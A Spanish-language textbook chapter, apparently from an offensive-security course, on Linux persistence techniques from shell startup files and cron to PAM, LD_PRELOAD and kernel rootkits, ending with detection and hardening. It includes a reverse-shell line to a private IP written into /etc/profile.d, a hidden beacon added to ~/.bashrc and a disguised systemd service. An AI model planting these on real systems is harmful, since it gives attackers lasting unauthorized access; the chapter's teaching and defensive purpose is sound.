Panorama#
Un acceso conseguido es un acceso perdido en cuanto el proceso muere, la sesión se cierra o la máquina se
reinicia. La persistencia —persistence— es el conjunto de técnicas con las que un atacante se asegura de
recuperar la ejecución después de esos eventos sin volver a explotar la vulnerabilidad de entrada, que quizá ya
fue parcheada o que era ruidosa de repetir. Es el segundo movimiento natural tras la
escalada de privilegios (3.9): primero se llega a root o a un usuario útil, luego
se planta el mecanismo que devuelve ese acceso mañana. Y es lo que estabiliza el canal de mando: un
C2 (3.10) volátil que vive en un proceso se vuelve confiable cuando un disparador de
persistencia lo relanza tras cada reinicio.
La tesis que ordena el capítulo es que toda persistencia es suscribir código propio a un disparador de ejecución que el sistema operativo ya honra. El atacante casi nunca inventa un mecanismo nuevo; se inserta en uno de los muchos puntos donde Linux ya vuelve a ejecutar algo por sí solo —al iniciar sesión, al arrancar, en un horario, ante un evento de hardware, al autenticar a un usuario—. El sistema tiene decenas de esos disparadores, y basta uno para reengancharse. Esa abundancia es la mala noticia para el defensor; la buena está al final del capítulo.
Los disparadores forman una escalera gobernada por dos ejes que se mueven juntos: el privilegio que exige plantarlos y el momento en que disparan. Cuanto más abajo y más temprano en el ciclo de vida del sistema actúa un mecanismo —del shell de un usuario, al arranque, a la autenticación, al propio kernel—, más durable es y más difícil de detectar, pero más privilegio cuesta plantarlo y más riesgo de inestabilidad acarrea. Un módulo de kernel mal escrito tumba la máquina con un kernel panic, exactamente como el exploit de kernel era el último recurso en 3.9: cuanto más profundo se opera, más se gana en sigilo y durabilidad y más se arriesga en estabilidad. Sobre esa escalera se organiza todo lo que sigue.
flowchart TD U["Persistencia de USUARIO\n(sin root · sobrevive como ese usuario)"] S["Persistencia de SISTEMA\n(root · sobrevive al reinicio · a todos)"] A["Subvertir la AUTENTICACIÓN\n(PAM · SSH · dispara al loguearse)"] L["Enganchar el USERLAND\n(LD_PRELOAD · rootkit de biblioteca)"] K["Bajar al KERNEL\n(LKM / eBPF · se esconde a sí mismo)"] U --> S --> A --> L --> K K -.->|"+ durable · + sigiloso\n+ privilegio · + riesgo de panic"| U classDef lvl fill:#1e293b,stroke:#475569,color:#e2e8f0; class U,S,A,L,K lvl;
En términos de MITRE ATT&CK el capítulo recorre la táctica TA0003 (Persistence) y sus técnicas en Linux: T1546.004 (Unix Shell Configuration Modification), T1098.004 (SSH Authorized Keys), T1543.002 (Systemd Service), T1053.003 y T1053.006 (Cron y Systemd Timers), T1037.004 (RC Scripts), T1546 (Event Triggered Execution), T1556.003 (Modify Authentication Process: PAM), T1574.006 (Dynamic Linker Hijacking), T1547.006 (Kernel Modules and Extensions), T1014 (Rootkit) y T1505.003 (Web Shell).
La primitiva: suscribirse a un disparador#
Antes de recorrer los mecanismos conviene fijar la primitiva común, porque explica por qué son intercambiables.
Todo sistema Linux mantiene una colección de puntos de ejecución automática: rutas de archivos y entradas de
configuración que algún componente lee y ejecuta cuando ocurre un evento. El shell lee ~/.bashrc al abrir una
sesión interactiva; systemd arranca las unidades habilitadas al bootear; crond ejecuta las líneas del
crontab en su horario; sshd consulta ~/.ssh/authorized_keys al autenticar; el enlazador dinámico carga las
bibliotecas listadas en /etc/ld.so.preload antes de cualquier binario. Cada uno de esos puntos es un contrato:
«cuando pase X, ejecuto lo que esté aquí». Persistir es escribir en ese contrato, sin romperlo, para que
además de lo legítimo se ejecute lo propio.
De ahí se derivan las tres propiedades que distinguen un mecanismo de otro y que el defensor debe leer al revés:
- Privilegio requerido. Un punto que pertenece a un usuario (su
~/.bashrc, su crontab, suauthorized_keys) se escribe sinrooty persiste con la identidad de ese usuario. Un punto de sistema (una unidad desystemd,/etc/crontab, un módulo de PAM) exigerootpero persiste para toda la máquina y sobrevive al reinicio. - Momento y frecuencia del disparo. Al login, al arranque, en un horario, ante un evento de hardware, en cada autenticación. Cuanto antes y más a menudo dispare, antes se recupera el acceso —pero también más ruido genera.
- Visibilidad del artefacto. El punto es un archivo o una línea de configuración en disco que sobrevive al reinicio; por definición es enumerable. El rootkit es el intento de romper esta propiedad ocultando el artefacto a las herramientas que lo listarían —y por eso es el escalón más caro y más frágil—.
Persistencia de usuario (sin root)#
El escalón más barato no necesita privilegios: basta escribir en los archivos que el propio usuario controla. Es la persistencia que sobrevive a un foothold de bajo privilegio y que conviene plantar de inmediato, antes de intentar escalar, como red de seguridad.
Los archivos de configuración del shell. Un shell de login lee, según la variante, ~/.bash_profile,
~/.bash_login o ~/.profile; un shell interactivo no-login lee ~/.bashrc; zsh usa ~/.zshrc. Añadir una
línea al final de cualquiera de ellos garantiza ejecución cada vez que el usuario abre una sesión (T1546.004). El
sistema ofrece variantes de sistema equivalentes —/etc/profile, los fragmentos de /etc/profile.d/*.sh,
/etc/bash.bashrc— que, con root, disparan para todos los usuarios al loguearse.
# Persistencia de usuario: relanzar un beacon en cada sesión interactiva
echo 'nohup /tmp/.cache/agent >/dev/null 2>&1 &' >> ~/.bashrc
# Variante de sistema (requiere root): dispara para todo usuario que loguee
echo 'bash -i >& /dev/tcp/10.10.10.5/443 0>&1' > /etc/profile.d/00-update.sh
El crontab de usuario. Cada usuario puede programar tareas sin root con crontab -e; la definición
queda en /var/spool/cron/crontabs/<usuario> (T1053.003). Una entrada @reboot dispara al arrancar, y una línea
* * * * * reintenta cada minuto —el mecanismo clásico para que un reverse shell se reabra solo—.
La clave SSH autorizada. El vector más limpio y más común es añadir la clave pública del atacante a
~/.ssh/authorized_keys (T1098.004). No lanza nada por sí solo: convierte el acceso en un login legítimo y
reutilizable con la propia infraestructura de SSH, sin malware en disco que escanear, y se confunde con la
administración normal. Enlaza directamente con el pivoting y tunneling (3.13), donde
esa misma clave sostiene los túneles SSH persistentes que atraviesan la red interna. Variantes menos conocidas
del mismo archivo elevan el sigilo o el poder: la opción command="..." delante de la clave fuerza un comando
al conectar, y el script ~/.ssh/rc se ejecuta en cada login por SSH aunque no haya shell interactivo.
El systemd --user. En sistemas modernos un usuario puede definir unidades propias en
~/.config/systemd/user/ y habilitarlas sin root; con lingering activado (loginctl enable-linger), esas
unidades arrancan al bootear el sistema, no solo al loguearse. Es la versión de usuario del mecanismo que domina
la siguiente sección.
Persistencia de sistema (con root)#
Con root, la persistencia sube a los disparadores que dispara el sistema entero y que sobreviven al reinicio.
En Linux moderno el rey es systemd.
Servicios de systemd. Un archivo .unit en /etc/systemd/system/ describe un servicio; systemctl enable
lo engancha a un target de arranque y systemctl start lo lanza (T1543.002). Con Restart=always el servicio
se relanza si su proceso muere, y con WantedBy=multi-user.target arranca en cada boot. Es el mecanismo más
robusto y a la vez el que mejor se camufla, porque el sistema legítimo está lleno de servicios y uno más pasa
inadvertido si se le da un nombre plausible.
# /etc/systemd/system/dbus-update.service (nombre que imita algo del sistema)
[Unit]
Description=D-Bus System Update Helper
After=network.target
[Service]
Type=simple
ExecStart=/usr/lib/dbus-1.0/dbus-update
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
Temporizadores de systemd. Un .timer emparejado con un .service reemplaza a cron con más flexibilidad
(T1053.006): OnCalendar=*-*-* *:00:00 dispara cada hora, OnBootSec= un tiempo tras el arranque, y
Persistent=true recupera disparos perdidos si la máquina estuvo apagada. Los timers son más sigilosos que
cron porque muchos analistas todavía revisan primero los crontabs y olvidan systemctl list-timers.
El cron de sistema. Además del crontab de usuario, root dispone del crontab de sistema /etc/crontab,
del directorio /etc/cron.d/ (un archivo por tarea, cómodo para dejar caer una línea) y de los directorios por
frecuencia /etc/cron.{hourly,daily,weekly,monthly}/ que ejecutan cualquier script colocado en ellos. El
comando at programa una ejecución única y suele pasarse por alto en la caza.
Scripts de arranque heredados. Sobreviven por compatibilidad y siguen siendo válidos: /etc/rc.local
—cuando existe y es ejecutable— corre al final del arranque (T1037.004), y los scripts SysV en /etc/init.d/
con sus enlaces en /etc/rc?.d/ hacen lo propio en sistemas que aún los honran a través de la capa de
compatibilidad de systemd.
Ejecución por evento. Más allá del horario, Linux dispara ante eventos, y cada uno es un punto de
persistencia (T1546). Una regla de udev en /etc/udev/rules.d/ con RUN+="/ruta/al/payload" ejecuta al
conectarse un dispositivo o al arrancar, cuando el subsistema enumera el hardware. Los scripts de
/etc/update-motd.d/ construyen el message of the day y corren como root en cada login por SSH. Los
ganchos de gestores de paquetes —los DPkg::Post-Invoke de APT, los hooks de pacman— ejecutan en cada
instalación o actualización, un disparador que además garantiza contexto de root. Y los hooks de Git
(.git/hooks/post-checkout, pre-commit) persisten en repositorios de desarrollo o de despliegue.
crontab -l y los servicios «obvios» deja
sin cubrir timers, /etc/cron.d, rc.local, reglas de udev, profile.d, update-motd.d y los hooks de
paquetes y de Git. El operador elige el rincón que el defensor no baseliniza; el defensor tiene que enumerarlos
todos —lo que, como se ve al cierre, es factible precisamente porque son finitos y están en disco—.Subvertir la autenticación: PAM y SSH#
Un escalón más profundo no espera al arranque ni al horario: se inserta en el camino que Linux recorre cada vez que autentica a un usuario, de modo que la persistencia dispara —y a menudo cosecha credenciales— en cada login legítimo.
PAM —Pluggable Authentication Modules— es el marco a través del cual login, sshd, sudo y su
deciden si una autenticación procede: una pila de módulos (.so) configurada en /etc/pam.d/. Subvertirla da
persistencia y captura a la vez (T1556.003), y admite tres grados:
- Módulo malicioso. Compilar un
.sopropio que siempre devuelvePAM_SUCCESSy añadirlo a la pila de/etc/pam.d/sshdcrea una contraseña maestra que autentica a cualquier usuario sin tocar su hash real. pam_execcomo disparador. Una líneaauth optional pam_exec.so /ruta/al/payloaden la pila ejecuta un binario arbitrario en cada autenticación —persistencia sin recompilar nada—.- Parche de
pam_unix. Modificar el módulo estándarpam_unix.sopara que registre en claro la contraseña que cada usuario teclea (por ejemplo, escribiéndola a un archivo oculto) convierte el sistema de autenticación en un keylogger de credenciales que alimenta el movimiento lateral (4.8).
SSH como disparador de autenticación. El propio sshd ofrece puntos de persistencia más allá de la clave
autorizada: la directiva ForceCommand en /etc/ssh/sshd_config ejecuta un comando en cada conexión, y un
binario sshd troyanizado —o una biblioteca que este cargue— puede registrar toda contraseña presentada. Son
mecanismos que se confunden con la administración porque viven dentro del servicio que administra el host.
Enganchar el userland: LD_PRELOAD y el enlazador dinámico#
Por debajo de la autenticación está la carga de los programas mismos. Casi todo binario de Linux está enlazado
dinámicamente contra libc y otras bibliotecas, y el enlazador dinámico —ld.so— resuelve esos símbolos al
ejecutar. Ese proceso de resolución es en sí un punto de inserción (T1574.006).
La variable de entorno LD_PRELOAD fuerza a cargar una biblioteca antes que todas las demás, de modo que sus
funciones prevalecen sobre las de libc: si la biblioteca precargada define open, readdir o pam_authenticate,
esas versiones son las que se ejecutan. LD_PRELOAD es por-proceso y depende del entorno, así que su versión
persistente es el archivo /etc/ld.so.preload, que aplica la precarga a todo binario dinámico del sistema,
de forma global y sin depender de ninguna variable.
Con ese enganche se construye un rootkit de espacio de usuario —userland rootkit—: la biblioteca precargada
intercepta las funciones que las herramientas de administración usan para ver el sistema y les miente. Al envolver
readdir/readdir64 oculta archivos y directorios (los propios del malware); al envolver las funciones de
lectura de /proc esconde procesos de ps y top; al filtrar la lectura de /proc/net/tcp desaparece de
netstat y ss; y al envolver pam_authenticate o crypt planta una puerta trasera de autenticación. El
resultado es un host que parece limpio a cualquier inspección hecha con sus propios binarios. La familia
libprocesshider y numerosos rootkits públicos operan exactamente así.
/proc con syscalls directas sin pasar por la libc envuelta, ve la verdad. Por eso los kits de caza traen
utilidades estáticas, y por eso el rootkit «serio» baja un escalón más —al kernel—, donde ya no puede ser
esquivado desde el espacio de usuario.Bajar al kernel: rootkits de LKM y de eBPF#
El escalón más profundo opera dentro del kernel, donde la mentira es total porque no hay una capa inferior desde la cual verificarlo con los propios medios del host.
Módulos de kernel cargables —Loadable Kernel Modules, LKM—. Con root (y salvo Secure Boot con firma de
módulos), insmod carga código en el anillo 0 (T1547.006, T1014). Un rootkit LKM como Diamorphine —de
referencia pública y didáctica— engancha la tabla de llamadas al sistema (syscall table hooking) o usa
ftrace para interceptar getdents/getdents64 (oculta archivos y procesos según un prefijo mágico), kill
(un número de señal especial concede root a un proceso o alterna la visibilidad), y tcp4_seq_show (oculta
puertos). Su rasgo definitorio es que se oculta a sí mismo: se desengancha de la lista de módulos, de modo que
lsmod no lo muestra. Un rootkit de kernel no miente a un proceso; miente al kernel entero, y por tanto a todo
proceso que le pregunte.
Rootkits de eBPF. La generación moderna evita cargar un módulo —que deja rastro y choca con la firma de
módulos— y abusa de eBPF, el subsistema que permite adjuntar programas verificados a puntos de enganche del
kernel (originalmente para observabilidad y redes). Con la capacidad CAP_BPF/CAP_SYS_ADMIN, un programa eBPF
adjunto a tracepoints, kprobes o XDP intercepta syscalls, reescribe datos en tránsito y oculta actividad
sin insertar un .ko. Proyectos de investigación como TripleCross y ebpfkit demuestran puertas traseras,
ocultación y exfiltración construidas enteramente sobre eBPF; es la frontera actual de la persistencia sigilosa
en Linux, y precisamente el mismo subsistema en que se apoya la detección moderna del lado blue, según se ve al
cierre.
Puentes: persistencia web y en contenedores#
Dos superficies merecen mención porque la persistencia en ellas sigue la misma primitiva con disparadores propios.
La webshell persistente (T1505.003) es un archivo de código —un .php, un .jsp— dejado en el directorio
servido por la aplicación, cuyo disparador es una petición HTTP del atacante. Nace de la explotación web
—la subida de archivos y la RCE de 3.5— y persiste mientras el archivo siga en su sitio;
enlaza con el C2 porque una webshell suele ser la puerta que relanza el beacon.
En contenedores y Kubernetes, el modelo cambia: un contenedor es efímero por diseño, así que persistir «en»
él no sirve —el orquestador lo reemplaza y el cambio se pierde—. La persistencia útil apunta al host o al
plano de control: un pod privilegiado o con un hostPath que monte el sistema de archivos del nodo permite
escribir una unidad de systemd o una clave SSH en el host real —los mismos mecanismos de este capítulo, una
capa más abajo—; y un manifiesto de pod estático dejado en /etc/kubernetes/manifests/ hace que el
kubelet relance un contenedor malicioso en cada arranque del nodo. El desarrollo completo del escape de
contenedor y su detección en tiempo de ejecución vive en contenedores y Kubernetes
(3.16).
Defensa y detección#
Aquí se cobra la buena noticia que prometía el panorama. La persistencia comparte una debilidad estructural: para persistir hay que dejar un artefacto que sobreviva al reinicio —un archivo, una línea de configuración, una unidad registrada, un módulo cargado—. Ese artefacto es, por definición, enumerable, y los puntos de disparo, aunque abundantes, son finitos y conocidos. La detección no persigue un comportamiento fugaz; audita un conjunto acotado de lugares contra una línea base de lo que debería ejecutarse por sí solo.
- Baselining del conjunto de auto-ejecución. El defensor enumera exhaustivamente los disparadores y los
compara contra un estado esperado:
systemctl list-unit-files --state=enabledysystemctl list-timers; los crontabs de todos los usuarios más/etc/crontab,/etc/cron.d/y/etc/cron.*/; losauthorized_keysde cada cuenta; los fragmentos deprofile.d,update-motd.d,rc.local, las reglas deudevy los hooks de APT/Git. Cualquier entrada nueva respecto de la línea base es la señal. Herramientas de auditoría comochkrootkit,rkhuntero el barrido de configuración de Lynis automatizan buena parte de esta enumeración. - Monitoreo de integridad de archivos —File Integrity Monitoring, FIM—. Vigilar por cambios los directorios
y archivos de disparo (
/etc/systemd/system/,/etc/cron*,/etc/pam.d/,/etc/ld.so.preload,~/.ssh/authorized_keys,/etc/rc.local) con AIDE o el propio Advanced Intrusion Detection del EDR convierte cada plantación en una alerta de modificación. La aparición o edición de/etc/ld.so.preloades, de hecho, un indicador de alta fidelidad de rootkit de userland, porque el archivo casi nunca existe en un sistema legítimo. - Auditoría de la escritura y de la carga.
auditdcon reglas de vigilancia (-w) sobre esas mismas rutas registra quién y qué proceso las tocó; y la regla sobreinit_module/finit_modulecaptura toda carga de módulo de kernel —elinsmoddel rootkit LKM— antes de que este pueda ocultarse. La telemetría de ejecución (execve, relación padre-hijo anómala: uncrono unsshdque engendra unbashcon socket saliente) ata el disparo al payload. - El rootkit invierte la regla: verificar desde fuera. Contra el LKM o el eBPF que se ocultan a sí mismos,
las herramientas del propio host no son confiables —el kernel comprometido les miente—. La detección robusta
viene de un punto de observación de confianza: análisis forense de la memoria del kernel (Volatility
comparando la tabla de syscalls contra sus direcciones esperadas, listando módulos ocultos), análisis del
disco montado desde un sistema limpio, y —paradójicamente— eBPF defensivo: Falco y Tracee observan
las syscalls desde dentro del kernel y detectan las anomalías de comportamiento (una escritura en
/etc/ld.so.preload, unexecvedesde un contenedor que no debería lanzar procesos, un módulo cargándose) antes de que el rootkit tape su rastro en el espacio de usuario. Es el mismo subsistema que arma al atacante, usado por el defensor con la ventaja de operar por debajo del engaño. - Postura estructural. Reducir la superficie de disparadores: Secure Boot con firma de módulos y
kernel.modules_disabled=1cierran la carga de LKM tras el arranque; montar particiones connoexec,nosuiddonde aplique; endurecersshd(deshabilitarForceCommandno previstos, revisarauthorized_keysconAuthorizedKeysCommandcentralizado); immutable infrastructure —hosts reconstruidos desde imagen en vez de parcheados en vivo— que borra cualquier persistencia en cada despliegue; y el principio de que la reinstalación desde medio limpio es la única erradicación garantizada frente a un rootkit de kernel.
Toda esta telemetría —la unidad nueva, la clave SSH añadida, la escritura en /etc/ld.so.preload, la carga de un
módulo, el sshd que engendra un shell— se correlaciona en el SIEM como una sola historia de post-explotación,
no como eventos sueltos; la caza de persistencia y el análisis forense del lado blue se desarrollan en
la detección de persistencia en Linux (P5), y la correlación con la
evasión —porque el rootkit que oculta el artefacto es la misma familia de técnicas que la
evasión de AV/EDR (3.11) llevada a la persistencia— cierra el arco ofensivo. La
correlación general de eventos de host se apoya en el mismo motor descrito en 4.9 · Defensa de
AD.
flowchart TD P["Persistencia Linux\n(un artefacto en disco que sobrevive al reinicio)"] P --> B["Baseline de auto-ejecución\n(systemctl · crontab · authorized_keys · profile.d)"] P --> F["FIM / auditd\n(escritura en /etc/systemd · /etc/pam.d · ld.so.preload)"] P --> M["Carga de módulo\n(auditd init_module · lsmod vs esperado)"] P --> R["Rootkit: verificar DESDE FUERA\n(Volatility · Falco/Tracee eBPF · disco offline)"] B & F & M & R --> X["Correlación SIEM\n= una historia de post-explotación"] X --> H["→ detección de persistencia (P5)\n→ Secure Boot · modules_disabled · immutable infra"]
Referencias#
red-infra/sans660-exploiting-linux/cap-01— Linkers and Loaders (ELF, PLT/GOT, lazy linking): el mecanismo del enlazador dinámico y la resolución de símbolos que sustenta el enganche porLD_PRELOADy/etc/ld.so.preload.red-infra/hacking-kubernetes/cap-01— Threat model + ataques a nivel pod: elhostPathy el pod privilegiado como vía de persistencia desde el contenedor hacia el host, y el manifiesto de pod estático.red-infra/hacking-kubernetes/cap-06— Intrusion Detection: Falco/Tracee sobre eBPF y los audit logs como punto de observación de confianza para detectar persistencia y rootkits en tiempo de ejecución.- MITRE ATT&CK — TA0003 Persistence, con T1543.002 Systemd Service, T1098.004 SSH Authorized Keys, T1556.003 PAM, T1574.006 Dynamic Linker Hijacking y T1014 Rootkit.
- Diamorphine como rootkit LKM de referencia didáctica, y TripleCross para el estado del arte de los rootkits de eBPF; del lado defensivo, los proyectos Falco y Tracee.